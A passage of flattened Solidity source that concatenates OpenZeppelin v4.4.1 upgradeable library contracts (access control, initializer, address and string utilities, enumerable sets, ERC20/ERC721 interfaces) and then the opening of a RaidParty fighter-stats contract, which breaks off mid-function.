privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/utils/ERC721Holder.sol) pragma solidity ^0.8.0; import "../IERC721ReceiverUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721HolderUpgradeable is Initializable, IERC721ReceiverUpgradeable { function __ERC721Holder_init() internal onlyInitializing { __ERC721Holder_init_unchained(); } function __ERC721Holder_init_unchained() internal onlyInitializing { } /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address, address, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC721Received.selector; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT /// @title RaidParty Fighter URI Handler /** * ___ _ _ ___ _ * | _ \__ _(_)__| | _ \__ _ _ _| |_ _ _ * | / _` | / _` | _/ _` | '_| _| || | * |_|_\__,_|_\__,_|_| \__,_|_| \__|\_, | * |__/ */ pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/utils/ERC721HolderUpgradeable.sol"; import "../utils/Enhanceable.sol"; import "../interfaces/IFighterURIHandler.sol"; import "../interfaces/IERC20Burnable.sol"; import "../interfaces/IFighter.sol"; contract FighterURIHandler is IFighterURIHandler, Initializable, Enhanceable, AccessControlEnumerableUpgradeable, ERC721HolderUpgradeable { using StringsUpgradeable for uint256; // Contract state and constants uint32 public constant MAX_DMG = 1400; uint32 public constant MIN_DMG = 800; uint8 public constant MAX_ENHANCEMENT = 14; uint8 public constant MIN_ENHANCEMENT = 0; mapping(uint256 => uint8) private _enhancement; IERC20Burnable private _confetti; address private _team; bool private _paused; modifier whenNotPaused() { require(!_paused, "FighterURIHandler: contract paused"); _; } /** PUBLIC */ function initialize( address admin, address seeder, address fighter, address confetti ) public initializer { __AccessControl_init(); _setupRole(DEFAULT_ADMIN_ROLE, admin); __Enhanceable_init(seeder, fighter); _confetti = IERC20Burnable(confetti); _team = admin; _paused = true; } // Returns on-chain stats for a given token function getStats(uint256 